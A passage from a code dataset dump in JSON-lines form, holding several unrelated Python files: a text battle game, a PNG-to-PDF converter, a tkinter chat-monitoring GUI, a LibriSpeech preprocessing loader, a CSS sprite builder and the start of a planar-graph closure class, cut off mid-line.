randn=r.randint(1,5)\n                if(randn<=5):\n                    computer+=20\n                else:\n                    computer+=5\n        else:\n            randn=r.randint(1,100)\n            if(randn<=80):\n                randn=r.randint(1,100)\n                if(randn<=5):\n                    player-=20\n                else:\n                    player-=10\n            else:\n                player-=r.randint(5,30)\n        if(player<=0):\n            print(\"YOU LOSE\")\n            coins-=computer\n            if(coins<0):\n                coins=0\n            break\n        print(name,\"hp:\",player)\n        print(\"computer hp:\",computer)\n\n\ndef shop():\n    global coins\n    global dchance\n    print(\"SHOP   You have $\",end='')\n    print(coins)\n    print(\"1. More chance to critical hit(cost $100)\")\n    print(\"2.exit\")\n    print(\"More stuff coming soon!\")\n    choice=int(input(\"Your choice: \"))\n    if(choice==1):\n        if(coins>=100):\n            coins-=100\n            dchance+=5\n            print()\n        else:\n            print(\"You don't have enough money!\")\n            home()\n            print(\"\\n\")\n        shop()\n    elif(choice==2):\n        home()\n        print()\n    else:\n        print(\"INVALID!!!\")\n        print()\n        shop()\ndef home():\n    t.sleep(1)\n    print(\"\\n\")\n    global coins\n    global dchance\n    if(coins<0):\n        coins=0\n    print(\"Your load code:\")\n    print(coins,end='.')\n    print(r.randint(1000,9999))\n    print(dchance,end='.')\n    print(r.randint(1000,9999))\n    print(\"1. Singleplayer\")\n    print(\"2. Multiplayer\")\n    print(\"3. Shop\")\n    print(\"4. Load Game\")\n    print(\"5. Exit Game:\")\n    print(\"tip: if you find a bug, tell me!\\nbut, if you're not sure it's a bug, it may not be a bug.\")\n    choice=int(input(\"Your choice(1,2,3,4,5): \"))\n    if(choice==1):\n        singlePlayer(dchance)\n    elif choice==3:\n        shop()\n    elif choice==2:\n        multiplayer()\n    elif choice==4:\n        code=float(input(\"code (copy EXACTLY what it printed out) : \"))\n        codet=float(input())\n        dchance=int(codet)\n        coins=int(code)\n    elif choice==5:\n        sure=input(\"Are you sure you want to exit? (y/n) \")\n        if sure=='y':\n            exit()\n        if sure!='n':\n            print(\"INVALID!!!\")\n    home()\nhome()\n","sub_path":"TheWar.py","file_name":"TheWar.py","file_ext":"py","file_size_in_byte":10473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"626906035","text":"#!/usr/bin/env python3\n\n# formal lib\nimport os\n# my lib\nfrom change_png_to_pdf import ConverterToPdf\n\n\ndef print_global_varibales(dict_ins):\n    glva_dict = dict_ins\n    print_dict = {key: va for key, va in glva_dict.items()\n                  if key.isupper()}\n    print(\"== global varibale is in the following. ==\")\n    print(print_dict)\n    print(\"==========================================\")\n\n\ndef fnmstr(path_str):\n    if not os.path.exists(path_str):\n        mes = \"{} is not file.\".format(\n                                    path_str\n                                      )\n        raise OSError(mes)\n    return path_str\n\n\ndef dirstr(path_str):\n    if not os.path.isdir(path_str):\n        mes = \"{} is not directory.\".format(\n                                        path_str\n                                           )\n        raise OSError(mes)\n    return path_str\n\n\nif __name__ == \"__main__\":\n    import argparse\n    msg = \"this program convert pngs to pdf.\"\n    parser = argparse.ArgumentParser(\n                                description=msg,\n                                fromfile_prefix_chars=\"@\")\n    parser.add_argument(\"png_files\", type=fnmstr, nargs=\"*\")\n    parser.add_argument(\"--png_dir\", type=dirstr, nargs=\"?\", default=None)\n    parser.add_argument(\"--out_pdf\", type=str, nargs=\"?\",\n                        required=True)\n    args = parser.parse_args()\n    PNG_FILES = args.png_files\n    PNG_DIR = args.png_dir\n    OUT_PDF = args.out_pdf\n    print_global_varibales(globals())\n    converter_ins = ConverterToPdf()\n    if PNG_DIR is not None:\n        converter_ins.add_png_from_dir(\n                                    PNG_DIR)\n    else:\n        converter_ins.add_png(*PNG_FILES)\n    converter_ins.to_pdf(OUT_PDF)\n","sub_path":"workshop/bin/convert_to_pdf.py","file_name":"convert_to_pdf.py","file_ext":"py","file_size_in_byte":1738,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"397400475","text":"import tkinter as tk\nimport subprocess\nfrom tkinter import *\nfrom tkinter.ttk import *\nfrom tkinter.filedialog import askopenfile\nfrom tkinter import filedialog\n\nHEIGHT = 700 #pixels\nWIDTH = 800 #pixels\nchat_file = ''\nbadWords_file = './default_word_files/badWords.txt'\nfilterWords_file = './default_word_files/filterWords.txt'\nstudent_names = []\nsearchOptionsWind = None\n\nHourOptionList = ['00', '01', '02', '03', '04', '05', '06', '07', '08', '09', '10', '11', '12', '13', '14', '15', '16', '17', '18' ,'19', '20', '21', '22', '23']\nMinuteOptionList = ['00', '01', '02', '03', '04', '05', '06', '07', '08', '09', '10', '11', '12', '13', '14', '15', '16', '17', '18' ,'19', '20', '21', '22', '23', '24', '25','26', '27', '28', '29', '30', '31', '32', '33', '34', '35', '36', '37', '38','39', '40', '41', '42', '43', '44', '45', '46', '47', '48', '49', '50', '51','52', '53', '54', '55', '56', '57', '58', '59']\n\n#create base window\nroot = tk.Tk()\n\n\n#Checkbutton for choosing monitoring option\noptionsLabel = tk.Label(root, text=\"Choose type of monitoring:\")\noptionsLabel.pack()\n\nopt1=IntVar()\nopt2=IntVar()\nopt3=IntVar()\n#creating options i.e. \"What kind of monitoring?\"\noption1 = tk.Checkbutton(root, text = \"Participation Grading\", fg = \"black\", variable = opt1, onvalue = 1, offvalue = 0)\noption2 = tk.Checkbutton(root, text = \"Inappropriate Language\", fg = \"black\", variable = opt2, onvalue = 1, offvalue = 0)\noption3 = tk.Checkbutton(root, text = \"Time Search\", fg = \"black\", variable = opt3, onvalue = 1, offvalue = 0, command=lambda:openSearchOptions())\n#adding buttons to screen\noption1.pack()\noption2.pack()\noption3.pack()\n\n\ndef openSearchOptions():\n\tsearchOptionsWind = tk.Toplevel(height=HEIGHT, width=WIDTH)\n\n\tstartLabel = tk.Label(searchOptionsWind, text=\"Choose start time:\")\n\tstartLabel.pack()\n\n\n\tstartHourVal = IntVar()\n\tstartHour = OptionMenu(searchOptionsWind, startHourVal, *HourOptionList)\n\tstartHour.pack()\n\n\tstartMinuteVal = IntVar()\n\tstartMinute = OptionMenu(searchOptionsWind, startMinuteVal, *MinuteOptionList)\n\tstartMinute.pack()\n\n\tstartSecondVal = IntVar()\n\tstartSecond = OptionMenu(searchOptionsWind, startSecondVal, *MinuteOptionList)\n\tstartSecond.pack()\n\n\n\tendLabel = tk.Label(searchOptionsWind, text=\"Choose end time:\")\n\tendLabel.pack()\n\n\n\tendHourVal = IntVar()\n\tendHour = OptionMenu(searchOptionsWind, endHourVal, *HourOptionList)\n\tendHour.pack()\n\n\tendMinuteVal = IntVar()\n\tendMinute = OptionMenu(searchOptionsWind, endMinuteVal, *MinuteOptionList)\n\tendMinute.pack()\n\n\tendSecondVal = IntVar()\n\tendSecond = OptionMenu(searchOptionsWind, endSecondVal, *MinuteOptionList)\n\tendSecond.pack()\n\n\n\toptionMonLabel = tk.Label(searchOptionsWind, text=\"Use filtering?\")\n\toptionMonLabel.pack()\n\n\tmonOptionVal = StringVar()\n\tmonOption = OptionMenu(searchOptionsWind, monOptionVal, \"Yes\", \"No\")\n\tmonOption.pack()\n\n\n\n#function for opening files in read mode\ndef open_chatFile():\n\tglobal chat_file\n\tchat_file_temp = filedialog.askopenfilename()\n\tif chat_file_temp:\n\t\tchat_file = chat_file_temp\n\ndef open_badWordsFile():\n\tglobal badWords_file\n\tbadWords_file_temp = filedialog.askopenfilename()\n\tif badWords_file_temp:\n\t\tbadWords_file = badWords_file_temp\n\ndef open_filterChatFile():\n\tglobal filterWords_file\n\tfilterWords_file_temp = filedialog.askopenfilename()\n\tif filterWords_file_temp:\n\t\tfilterWords_file = filterWords_file_temp\n\n\n#Open chat_file\nchatFileLabel = tk.Label(root, text = \"Upload chat log:\")\nchatFileLabel.pack()\nopenChatFileButton = tk.Button(root, text=\"Browse\", command=lambda:open_chatFile())\nopenChatFileButton.pack()\n\n\n#Open badWords_file\nbadWordFileLabel = tk.Label(root, text = \"Upload list of inappropriate words:\")\nbadWordFileLabel.pack()\nopenBadWordsFileButton = tk.Button(root, text=\"Browse\", command=lambda:open_badWordsFile())\nopenBadWordsFileButton.pack()\n\n\n#Open filterWords_file\nfilterWordsFileLabel = tk.Label(root, text = \"Upload list of filter words:\")\nfilterWordsFileLabel.pack()\nopenFilterWordsButton = tk.Button(root, text=\"Browse\", command=lambda:open_filterChatFile())\nopenFilterWordsButton.pack()\n\n\n\ndef start():\n\tif opt1.get() == 1:\n\t\t\tsubprocess.run(['python3', 'main.py', '-fw', filterWords_file, chat_file], shell=False, capture_output=False)\n\telif opt2.get() == 1:\n\t\tsubprocess.run(['python3', 'main.py', '-bw', badWords_file, chat_file], shell=False, capture_output=False)\n\telif opt3.get() == 1:\n\t\tuseFilt = 0\n\t\tif monOptionVal == \"Yes\":\n\t\t\tuseFilt=1\n\t\t\t#subprocess.run(['python3', 'main.py', '-s', useFilt, '-n', <student name> '-st' startHourVal:startMinuteVal:startSecondVal, '-e' endHourVal:endMinuteVal:endSecondVal, 'chat_file'])\n\telse:\n\t\tpass\n\n\n\n#creating a button\nstartButton = tk.Button(root, text=\"Start\", fg = \"black\", bg = \"red\", command=start)\n#put button on screen\nstartButton.pack()\n\n#run application\nroot.mainloop()\n","sub_path":"ChatMonitoringApp.py","file_name":"ChatMonitoringApp.py","file_ext":"py","file_size_in_byte":4795,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"396747469","text":"import os\r\n\r\nimport numpy as np\r\nfrom tqdm import tqdm as tqdm\r\nfrom subprocess import call\r\nfrom struct import unpack, pack\r\nimport torch.nn as nn\r\nimport nltk\r\n\r\nfrom dlex.utils.logging import logger\r\nfrom dlex.datasets.base.voice import VoiceDataset\r\nfrom dlex.datasets.base.nlp import get_token_id, load_tkn_to_idx, normalize_word, normalize_char, load_idx_to_tkn\r\nfrom dlex.utils.ops_utils import LongTensor, FloatTensor\r\n\r\nFILES = [\"raw-metadata.tar.gz\", \"train-clean-100.tar.gz\", \"dev-clean.tar.gz\"]\r\nBASE_URL = \"http://www.openslr.org/resources/12/\"\r\n\r\n\r\ndef build_vocab(raw_dir, processed_dir):\r\n    mode = \"train\"\r\n\r\n    wset = set()\r\n    with open(os.path.join(raw_dir, mode, \"prompts.txt\"), encoding=\"utf-8\") as f:\r\n        for s in f.read().split('\\n'):\r\n            s = s.replace(':', '')\r\n            words = s.split(' ')[1:]\r\n            for word in words:\r\n                if word != '':\r\n                    wset.add(normalize_word(word))\r\n\r\n    # word-unit\r\n    with open(os.path.join(processed_dir, \"vocab_words.txt\"), \"w\", encoding=\"utf-8\") as f:\r\n        f.write(\"<oov>\\n\")\r\n        f.write(\"\\n\".join([\"%s\" % word for _, word in\r\n                           enumerate(list(wset)) if word != \"\"]))\r\n\r\n    # char-unit\r\n    cset = set('_')\r\n    for word in wset: cset |= set(word)\r\n    with open(os.path.join(processed_dir, \"vocab_chars.txt\"), \"w\", encoding=\"utf-8\") as f:\r\n        f.write(\"<oov>\\n\")\r\n        f.write(\"\\n\".join([\"%s\" % c for _, c in\r\n                           enumerate(list(cset)) if c != \"\"]))\r\n\r\n    vocab_word = {word: i for i, word in enumerate(\r\n        open(\r\n            os.path.join(processed_dir, \"vocab_words.txt\"),\r\n            encoding='utf-8').read().split('\\n'))}\r\n    vocab_char = {word: i for i, word in enumerate(\r\n        open(\r\n            os.path.join(processed_dir, \"vocab_chars.txt\"),\r\n            encoding='utf-8').read().split('\\n'))}\r\n\r\n    logger.info(\"Word count: %d, Char count: %d\", len(vocab_word), len(vocab_char))\r\n\r\n\r\ndef calculate_mean_and_var(raw_dir, processed_dir):\r\n    logger.info(\"Extract features\")\r\n    # get mean\r\n    mean = np.array([0] * 120)\r\n    var = np.array([0] * 120)\r\n    count = 0\r\n\r\n    for mode in [\"train\", \"test\"]:\r\n        with open(os.path.join(raw_dir, mode, \"prompts.txt\"), encoding=\"utf-8\") as f:\r\n            lines = f.read().split(\"\\n\")\r\n            for i, s in tqdm(list(enumerate(lines)), desc=mode):\r\n                filename = s.split(' ')[0]\r\n                if filename == \"\":\r\n                    continue\r\n                wav_filename = os.path.join(raw_dir, mode, \"waves\", filename.split('_')[0], filename + \".wav\")\r\n\r\n                os.makedirs(os.path.join(processed_dir, mode, \"features\"), exist_ok=True)\r\n                htk_filename = os.path.join(processed_dir, mode, \"features\", filename + \".htk\")\r\n                call([\r\n                    os.path.join(os.getenv('HCOPY_PATH', 'HCopy')),\r\n                    wav_filename,\r\n                    htk_filename,\r\n                    \"-C\", \"config.lmfb.40ch\"\r\n                ])\r\n\r\n                if mode == \"train\":\r\n                    fh = open(htk_filename, \"rb\")\r\n                    spam = fh.read(12)\r\n                    nSamples, sampPeriod, sampSize, parmKind = unpack(\">IIHH\", spam)\r\n                    veclen = int(sampSize / 4)\r\n                    fh.seek(12, 0)\r\n                    dat = np.fromfile(fh, dtype=np.float32)\r\n                    dat = dat.reshape(len(dat) // veclen, veclen)\r\n                    dat = dat.byteswap()\r\n                    fh.close()\r\n\r\n                    for k in range(len(dat)):\r\n                        updated_mean = (mean * count + dat[k]) / (count + 1)\r\n                        var = (count * var + (dat[k] - mean) * (dat[k] - updated_mean)) / (count + 1)\r\n                        mean = updated_mean\r\n                        count += 1\r\n\r\n    np.save(\"mean.npy\", mean)\r\n    np.save(\"var.npy\", var)\r\n\r\n\r\ndef preprocess(raw_dir, processed_dir):\r\n    logger.info(\"Write outputs to file\")\r\n    outputs = {'train': [], 'test': []}\r\n    mean = np.load(\"mean.npy\")\r\n    var = np.load(\"var.npy\")\r\n    vocab_word = load_tkn_to_idx(os.path.join(processed_dir, \"vocab_words.txt\"))\r\n    vocab_char = load_tkn_to_idx(os.path.join(processed_dir, \"vocab_chars.txt\"))\r\n\r\n    for mode in [\"test\", \"train\"]:\r\n        os.makedirs(os.path.join(processed_dir, mode, \"npy\"), exist_ok=True)\r\n        with open(os.path.join(raw_dir, mode, \"prompts.txt\"), encoding=\"utf-8\") as f:\r\n            lines = f.read().split(\"\\n\")\r\n            for i, s in tqdm(list(enumerate(lines)), desc=mode):\r\n                filename = s.split(' ')[0]\r\n                if filename == \"\":\r\n                    continue\r\n                npy_filename = os.path.join(processed_dir, mode, \"npy\", filename + \".npy\")\r\n\r\n                if True:\r\n                    # (rate, sig) = wav.read(wav_filename)\r\n                    htk_filename = os.path.join(processed_dir, mode, \"features\", filename + \".htk\")\r\n                    fh = open(htk_filename, \"rb\")\r\n                    spam = fh.read(12)\r\n                    nSamples, sampPeriod, sampSize, parmKind = unpack(\">IIHH\", spam)\r\n                    veclen = int(sampSize / 4)\r\n                    fh.seek(12, 0)\r\n                    dat = np.fromfile(fh, dtype=np.float32)\r\n                    dat = dat.reshape(len(dat) // veclen, veclen)\r\n                    dat = dat.byteswap()\r\n                    fh.close()\r\n\r\n                    dat = (dat - mean) / np.sqrt(var)\r\n                    np.save(npy_filename, dat)\r\n\r\n                trans = s.lower().split(' ', 1)[1].replace(':', '')\r\n                outputs[mode].append(dict(\r\n                    filename=npy_filename,\r\n                    target_word=' '.join([str(get_token_id(vocab_word, normalize_word(word)))\r\n                                          for word in trans.split(' ')]),\r\n                    target_char=' '.join([str(get_token_id(vocab_char, normalize_char(c).replace(' ', '_'))) for c in trans]),\r\n                    trans_words=' '.join(s.lower().split(' ')[1:])\r\n                ))\r\n\r\n    for mode in [\"test\", \"train\"]:\r\n        #outputs[mode].sort(key=lambda item: len(item['target_word']))\r\n        for unit in [\"word\", \"char\"]:\r\n            logger.info(\"Output to %s\" % os.path.join(processed_dir, \"%s_%s\" % (unit, mode) + '.csv'))\r\n            with open(os.path.join(processed_dir, \"%s_%s\" % (unit, mode) + '.csv'), 'w', encoding='utf-8') as f:\r\n                f.write('\\t'.join(['sound', 'target', 'trans']) + '\\n')\r\n                for o in outputs[mode]:\r\n                    f.write('\\t'.join([\r\n                        o['filename'],\r\n                        o['target_%s' % unit],\r\n                        o['trans_words']\r\n                    ]) + '\\n')\r\n\r\n\r\nclass LibriSpeech(VoiceDataset):\r\n    input_size = 120\r\n\r\n    def __init__(self, mode, params):\r\n        super().__init__(mode, params)\r\n        cfg = params.dataset\r\n\r\n        vocab = load_tkn_to_idx(os.path.join(self.get_processed_data_dir(), \"vocab_%ss.txt\" % cfg.unit))\r\n        self.id_to_token = load_idx_to_tkn(os.path.join(self.get_processed_data_dir(), \"vocab_%ss.txt\" % cfg.unit))\r\n        self.vocab = vocab\r\n\r\n        vocab['<sos>'] = len(vocab)\r\n        vocab['<eos>'] = len(vocab)\r\n        self.output_size = len(vocab)\r\n\r\n        is_debug = mode == \"debug\"\r\n        if mode == \"debug\":\r\n            mode = \"train\"\r\n\r\n        with open(\r\n                os.path.join(self.get_processed_data_dir(), \"%s_%s\" % (cfg.unit, mode) + '.csv'),\r\n                'r', encoding='utf-8') as f:\r\n            lines = f.read().split('\\n')[1:]\r\n            lines = [l.split('\\t') for l in lines if l != \"\"]\r\n            self.data = [{\r\n                'X_path': l[0],\r\n                'Y': [vocab['<sos>']] + [int(w) for w in l[1].split(' ')] + [vocab['<eos>']],\r\n                'Y_len': len(l[1].split(' ')) + 2\r\n            } for l in lines]\r\n\r\n            if is_debug:\r\n                self.data = self.data[:20]\r\n\r\n    @property\r\n    def sos_id(self):\r\n        return self.vocab['<sos>']\r\n\r\n    @property\r\n    def eos_id(self):\r\n        return self.vocab['<eos>']\r\n\r\n    @classmethod\r\n    def maybe_download_and_extract(cls, force=False):\r\n        super().maybe_download_and_extract(force)\r\n        if not os.path.exists(cls.get_raw_data_dir()):\r\n            for f in FILES:\r\n                cls.download_and_extract(BASE_URL + f, os.path.join(cls.get_raw_data_dir()))\r\n\r\n    @classmethod\r\n    def maybe_preprocess(cls, force=False):\r\n        super().maybe_preprocess(force)\r\n        if os.path.exists(cls.get_processed_data_dir()):\r\n            return\r\n        raw_dir = os.path.join(cls.get_raw_data_dir(), \"vivos\")\r\n        os.makedirs(cls.get_processed_data_dir(), exist_ok=True)\r\n        build_vocab(raw_dir, cls.get_processed_data_dir())\r\n        calculate_mean_and_var(raw_dir, cls.get_processed_data_dir())\r\n        preprocess(raw_dir, cls.get_processed_data_dir())\r\n\r\n    def collate_fn(self, batch):\r\n        for item in batch:\r\n            item['X'] = np.load(item['X_path'])\r\n            #print(item['X'])\r\n\r\n        batch.sort(key=lambda item: len(item['X']), reverse=True)\r\n        inp = [FloatTensor(item['X']) for item in batch]\r\n        tgt = [LongTensor(item['Y']).view(-1) for item in batch]\r\n        inp = nn.utils.rnn.pad_sequence(\r\n            inp, batch_first=True)\r\n        tgt = nn.utils.rnn.pad_sequence(\r\n            tgt, batch_first=True,\r\n            padding_value=self.eos_id)\r\n\r\n        return dict(\r\n            X_path=item['X_path'],\r\n            X=inp, X_len=LongTensor([len(item['X']) for item in batch]),\r\n            Y=tgt, Y_len=LongTensor([len(item['Y']) for item in batch]))\r\n\r\n    def _trim_result(self, s):\r\n        return np.extract(np.logical_and(s != self.eos_id, s != self.sos_id), s)\r\n\r\n    def evaluate(self, y_pred, batch, metric):\r\n        dist, count = 0, 0\r\n        for pr, gt, gt_len in zip(y_pred, batch['Y'], batch['Y_len']):\r\n            pr = np.array(pr)[:-1]\r\n            gt = gt.cpu().detach().numpy()\r\n            gt = gt[1:gt_len - 1]\r\n            dist += nltk.edit_distance(pr, gt)\r\n            count += len(gt)\r\n        return dist, count\r\n\r\n    def format_output(self, y_pred, batch_input):\r\n        pr = np.array(y_pred)[:-1]\r\n        gt = batch_input['Y'].cpu().detach().numpy()\r\n        gt = gt[1:batch_input['Y_len'] - 1]\r\n        if self.params.dataset.output_format is None:\r\n            return \"\", str(gt), str(pr)\r\n        elif self.params.dataset.output_format == \"text\":\r\n            delimiter = ' ' if self.params.dataset.unit == \"word\" else ''\r\n            return \\\r\n                batch_input['X_path'], \\\r\n                delimiter.join([self.id_to_token[wid] for wid in gt]), \\\r\n                delimiter.join([self.id_to_token[wid] for wid in pr])\r\n","sub_path":"implementations/speech_recognition/src/datasets/librispeech.py","file_name":"librispeech.py","file_ext":"py","file_size_in_byte":10811,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"176865332","text":"import os\nimport re\nimport shutil\nimport subprocess\nfrom optparse import OptionParser\n\n_DIRNAME, _FILENAME = os.path.split(os.path.abspath(__file__))\n_TEMP_DIR = os.path.join(_DIRNAME, \"_tempdir\")\n_cssfile_to_imagefilename_dict = {}\n_imagefilename_to_css_dict = {}\n\n\ndef search_files_in_folder(path, suffix=\".css\"):\n    for folder, dirs, files in os.walk(path):\n        for f in files:\n            if f.endswith(suffix):\n                yield os.path.join(folder, f)\n\n\ndef search_images_in_file(path, pattern):\n    f = open(path, \"r\")\n    content = f.read()\n    f.close()\n    regex = re.compile(pattern)\n    results = regex.findall(content)\n    for result in results:\n        image_path = os.path.join(os.path.dirname(path), result)\n\n        # inner updates\n        if not path in _cssfile_to_imagefilename_dict:\n            _cssfile_to_imagefilename_dict[path] = []\n        _cssfile_to_imagefilename_dict[path].append(result)\n\n        yield image_path\n\n\ndef copy_files_to_temp_dir(current_dir, files):\n    dir_path = os.path.join(current_dir, _TEMP_DIR + \"/autosprite\")\n    if os.path.exists(_TEMP_DIR):\n        shutil.rmtree(_TEMP_DIR)\n    os.makedirs(dir_path)\n    for f in files:\n        shutil.copy2(f, dir_path)\n\n\ndef glue_images(temp_dir, padding):\n    cmd = \"glue %s/autosprite %s/target --padding=%s --crop\" % \\\n        (temp_dir, temp_dir, padding)\n    proccess = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)\n    out, err = proccess.communicate()\n    return out, err\n\n\ndef _get_FILENAME_to_cssname_dict(out_log, pattern):\n    regex_string = \"(%s) => (.+?)\\s\" % (pattern)\n    regex = re.compile(regex_string)\n    pairs = regex.findall(out_log)\n    return pairs\n\n\ndef update_FILENAME_to_css_dict(out_log, out_dir, pattern):\n    f = open(out_dir + \"/target/autosprite.css\", \"r\")\n    content = f.read()\n    f.close()\n\n    pairs = _get_FILENAME_to_cssname_dict(out_log, pattern)\n    for filename, cssname in pairs:\n        regex_string = \"%s{(.+?)}\" % cssname\n        css = \";\".join(re.compile(regex_string).findall(content))\n        _imagefilename_to_css_dict[filename] = css\n\n\ndef update_cssfile_and_copy_to_output(output_dir, spritedest):\n\n    _src = _TEMP_DIR + \"/target/autosprite.png\"\n    dest = os.path.join(_DIRNAME, output_dir, spritedest)\n\n    for f in _cssfile_to_imagefilename_dict:\n        _f = open(f, \"r\")\n        content = _f.read()\n        _f.close()\n\n        _dir = re.sub(r\"\\.[/\\\\]\", \"\", os.path.dirname(f))\n        _dir = os.path.join(output_dir, _dir)\n        if os.path.exists(output_dir):\n            shutil.rmtree(output_dir)\n        os.makedirs(_dir)\n\n        image_paths = _cssfile_to_imagefilename_dict[f]\n        for image_path in image_paths:\n            filename = os.path.basename(image_path)\n            regex = r\"background(-image)?.+?url\\([\\\"\\'].+?%s[\\\"\\']\\)\" \\\n                    % filename\n            css = _imagefilename_to_css_dict[os.path.basename(image_path)]\n            content = re.sub(regex, css, content)\n\n        _o = re.sub(r\"\\.[/\\\\]\", \"\", f)\n        _o = os.path.join(output_dir, f)\n\n        relative_path = os.path.relpath(dest, os.path.dirname(_o)) \\\n            .encode('string-escape')\n\n        content = re.sub(\n            r\"[\\'\\\"]autosprite.png[\\'\\\"]\", \"'%s/autosprite.png'\"\n            % relative_path, content)\n\n        _o = open(_o, \"w\")\n        _o.write(content)\n        _o.close()\n\n    if not os.path.exists(dest):\n        os.makedirs(dest)\n    shutil.copy2(_src, dest)\n\n\ndef clean_up():\n    if os.path.exists(_TEMP_DIR):\n        shutil.rmtree(_TEMP_DIR)\n\n\ndef build_parser():\n    usage = \"usage: %prog -f FOLDER [options]\"\n    parser = OptionParser(usage=usage)\n\n    parser.add_option(\n        \"-f\",\n        \"--folder\",\n        dest=\"folder\",\n        help=\"the root folder needed to do the sprite transformation\",\n        metavar=\"FOLDER\"\n    )\n    parser.add_option(\n        \"--suffix\",\n        dest=\"suffix\",\n        help=\"the suffix of files needed to be scan, default value is: .css\",\n        default=\".css\",\n        metavar=\"SUFFIX\"\n    )\n    parser.add_option(\n        \"-p\",\n        \"--pattern\",\n        dest=\"pattern\",\n        metavar=\"PATTERN\",\n        help=\"the regex option for searching png files in file, \"\n                \"default value is: [/\\w\\d_-]+?\\.sprite\\.png\",\n        default=\"[/\\w\\d_-]+?\\.sprite\\.png\"\n    )\n    parser.add_option(\n        \"-o\",\n        \"--output\",\n        dest=\"output\",\n        metavar=\"OUTPUT\",\n        help=\"the output directory of the processed files, \"\n                \"default value is ./target\",\n        default=\"target\"\n    )\n    parser.add_option(\n        \"--padding\",\n        dest=\"padding\",\n        metavar=\"PADDING\",\n        help=\"the padding between images in px, default value is: 0px\",\n        default=\"0\"\n    )\n    parser.add_option(\n        \"--spritedest\",\n        dest=\"spritedest\",\n        metavar=\"SPRITEDEST\",\n        help=\"the relative path to the output dir of the sprite image, \"\n                \"default value is OUTPUT/\",\n        default=\"\"\n    )\n\n    return parser\n\n\nif __name__ == \"__main__\":\n\n    parser = build_parser()\n    options, args = parser.parse_args()\n\n    file_list = []\n    for f in search_files_in_folder(options.folder, suffix=options.suffix):\n        for i in search_images_in_file(f, options.pattern):\n            file_list.append(i)\n\n    copy_files_to_temp_dir(options.folder, file_list)\n    out, err = glue_images(_TEMP_DIR, options.padding)\n\n    update_FILENAME_to_css_dict(out, _TEMP_DIR, options.pattern)\n    update_cssfile_and_copy_to_output(options.output, options.spritedest)\n\n    clean_up()\n","sub_path":"autosprite.py","file_name":"autosprite.py","file_ext":"py","file_size_in_byte":5564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"176328082","text":"# -*- coding: utf-8 -*-\n#    Copyright (C) 2018 by\n#    Marta Grobelna <marta.grobelna@rwth-aachen.de>\n#    Petre Petrov <petrepp4@gmail.com>\n#    Rudi Floren <rudi.floren@gmail.com>\n#    Tobias Winkler <tobias.winkler1@rwth-aachen.de>\n#    All rights reserved.\n#    BSD license.\n#\n# Authors:  Marta Grobelna <marta.grobelna@rwth-aachen.de>\n#           Petre Petrov <petrepp4@gmail.com>\n#           Rudi Floren <rudi.floren@gmail.com>\n#           Tobias Winkler <tobias.winkler1@rwth-aachen.de>\n\n\nfrom planar_graph_sampler.combinatorial_classes.halfedge import ClosureHalfEdge\nfrom planar_graph_sampler.combinatorial_classes.dissection import \\\n    IrreducibleDissection\nfrom planar_graph_sampler.grammar.grammar_utils import Counter\n\ncounter = Counter()\n\n\nclass Closure:\n    \"\"\"\n    This class is needed for transformation of a Boltzmann sampler for\n    bicolored binary trees into a Boltzmann sampler for 3-connected planar\n    graphs.\n    \"\"\"\n\n    def _bicolored_partial_closure(self, init_half_edge):\n        \"\"\"Computes bicolored partial closure on a binary tree.\n        When possible adds a new edge to get faces of degree four.\n        \"\"\"\n        stack = [init_half_edge]\n        break_edge = init_half_edge\n        current_half_edge = init_half_edge\n\n        while True:\n            current_half_edge = current_half_edge.next\n\n            if current_half_edge.opposite is None:\n                if len(stack) == 0:\n                    break_edge = current_half_edge\n                if current_half_edge is break_edge and len(stack) > 0:\n                    break\n                stack.append(current_half_edge)\n            else:\n                current_half_edge = current_half_edge.opposite\n                if len(stack) > 0:\n                    top_half_edge = stack.pop()\n                    top_half_edge.number_proximate_inner_edges += 1\n\n                    if top_half_edge.number_proximate_inner_edges == 3:\n                        new_half_edge = ClosureHalfEdge()\n                        current_half_edge.add_to_closure(top_half_edge, False,\n                                                         new_half_edge)\n                        current_half_edge = top_half_edge.prior\n                    else:\n                        stack.append(top_half_edge)\n\n        if init_half_edge.opposite is not None:\n            # Iterate to first stem\n            half_edge_list = init_half_edge.get_all_half_edges()\n            for edge in half_edge_list:\n                if edge.opposite is None:\n                    return edge\n        else:\n            return init_half_edge\n\n    def _bicolored_complete_closure(self, init_half_edge):\n        \"\"\"Computes bicolored complete closure on a planar map of a binary\n        tree in order to obtain an irreducible dissection of the hexagon with\n        quadrangular inner faces.\n\n        Parameters\n        ----------\n        init_half_edge: ClosureHalfEdge\n            The half-edge that we get when we convert a binary tree into a\n            planar map.\n        \"\"\"\n        starting_half_edge = self._bicolored_partial_closure(init_half_edge)\n\n        # Construct hexagon\n        hexagon = [ClosureHalfEdge() for _ in range(12)]\n        hexagon_start_half_edge = self._construct_hexagon(hexagon,\n                                                          starting_half_edge)\n\n        # Connect the starting half-edge of our planar map with the _first\n        # node of the hexagon\n        new_half_edge = ClosureHalfEdge()\n        hexagon_start_half_edge.add_to_closure(starting_half_edge, True,\n                                               new_half_edge)\n\n        connecting_half_edge = new_half_edge\n\n        # Now traverse the planar map. Depending on the distance between a\n        # new inner edge and the next half-edge one can assign the new half\n        # edge to a certain hexagon node\n        distance = 0\n        hexagon_iter = hexagon_start_half_edge\n        current_half_edge = starting_half_edge\n        hexagon_iter_index = 0\n        # This variable is needed in order to check if we already visited\n        # more than one node of the hexagon\n        visited_more = False\n        while True:\n            current_half_edge = current_half_edge.next\n\n            if current_half_edge is starting_half_edge:\n                break\n\n            # If the opposite is None then we have to assign it to one of the\n            #  hexagon nodes\n            if current_half_edge.opposite is None:\n                fresh_half_edge = ClosureHalfEdge()\n                fresh_half_edge.opposite = current_half_edge\n                current_half_edge.opposite = fresh_half_edge\n\n                if distance == 0:\n                    # Move 4 hexagon half-edges further\n                    hexagon_iter_index = (hexagon.index(hexagon_iter) + 4) % 12\n                    hexagon_iter = hexagon[hexagon_iter_index]\n                elif distance == 1:\n                    # Move 2 hexagon half-edges further\n                    hexagon_iter_index = (hexagon.index(hexagon_iter) + 2) % 12\n                    hexagon_iter = 